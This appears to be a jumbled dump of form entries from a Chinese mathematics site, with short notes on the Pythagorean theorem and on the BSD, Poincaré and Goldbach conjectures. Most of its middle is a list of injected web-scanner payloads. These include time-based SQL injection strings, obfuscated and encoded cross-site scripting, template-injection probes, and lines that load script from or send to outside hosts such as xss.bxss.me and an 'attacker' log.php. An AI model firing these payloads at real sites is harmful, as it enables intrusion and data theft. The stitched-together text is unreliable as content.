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n点共圆定理
证明
1
1
勾股定理证明
有多少种方法
1
1
555
555
555-1 OR 913=(SELECT 913 FROM PG_SLEEP(15))--
555
555
555
555
555<a1eAfF8<
555<img sRc=\'http://attacker-9125/log.php?
555<at5Lshb x=9086>
555<ifRAme sRc=9705.com></IfRamE>
555JSew7dJP\'; waitfor delay \'0:0:15\' --
555<WNPHA3>MWHR1[!+!]</WNPHA3>
555m5zrY\n<ScRiPt >W36u(9170)</ScRiPt>
555}body{zzz:Expre/**/SSion(W36u(9782))}
555-1 waitfor delay \'0:0:15\' --
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555<input autofocus onfocus=W36u(9102)>
555\\u003CScRiPt\\W36u(9512)\\u003C/sCripT\\u003E
555<ScRiPt>W36u(9842)</sCripT>
%35%35%35%3C%53%63%52%69%50%74%20%3E%57%33%36%75%289264%29%3C%2F%73%43%72%69%70%54%3E
555-1); waitfor delay \'0:0:15\' --
555<img/src=\">\" onerror=alert(9103)>
555<img src=//xss.bxss.me/t/dot.gif onload=W36u(9942)>
555<img src=xyz OnErRor=W36u(9065)>
555<body onload=W36u(9553)>
555<isindex type=image src=1 onerror=W36u(9105)>
555<iframe src=\'data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=\' invalid=\'9290\'>
555-1; waitfor delay \'0:0:15\' --
555<ScRiPt \r\n>W36u(9365)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9553></ScRiPt>
555<\0ScRiPt \r\n>W36u(9806)</ScRiPt>
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%57%33%36%75%28%39%38%36%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555<script>W36u(9498)</script>9498
555<WJYFRW>CDLIR[!+!]</WJYFRW>
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
555<script>W36u(9420)</script>
\"dfbzzzzzzzzbbbccccdddeeexca\".replace(\"z\",\"o\")
555<ScRiPt >W36u(9739)</ScRiPt>
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
100种
BSD猜想
关于椭圆曲线的算术性质的猜想，涉及椭圆曲线的有理点个数与L函数的关系。
1
庞加莱猜想
任何单连通的、封闭的三维流形与三维球面同胚。
1
哥德巴赫猜想
任何大于2的偶数都可以表示为两个质数之和。